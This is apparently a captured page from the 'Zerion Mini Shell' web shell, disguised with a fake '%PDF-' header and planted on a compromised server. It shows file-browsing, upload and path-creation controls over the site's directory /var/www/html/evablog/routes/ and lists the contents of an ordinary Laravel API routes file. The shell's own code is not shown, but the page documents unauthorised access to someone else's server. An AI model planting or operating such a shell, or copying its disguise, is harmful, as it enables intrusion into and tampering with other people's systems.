%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/evablog/routes/
Upload File :
Create Path :
Current File : /var/www/html/evablog/routes/api.php

<?php

use Illuminate\Http\Request;

/*
|--------------------------------------------------------------------------
| API Routes
|--------------------------------------------------------------------------
|
| Here is where you can register API routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| is assigned the "api" middleware group. Enjoy building your API!
|
*/

Route::middleware('auth:api')->get('/user', function (Request $request) {
    return $request->user();
});

Route::get('/categories/actions/autoComplete', 'CategoryController@autoComplete')->name('api.categories.autoComplete');
Route::get('/posts/{post}/attachCategory/{category}', 'PostController@attachCategory')->name('api.posts.attachCategory');
Route::get('/posts/{post}/detachCategory/{category}', 'PostController@detachCategory')->name('api.posts.detachCategory');

Route::get('posts', 'PostController@index')->name('api.posts.index');
Route::get('categories', 'CategoryController@index')->name('api.posts.index');

Zerion Mini Shell 1.0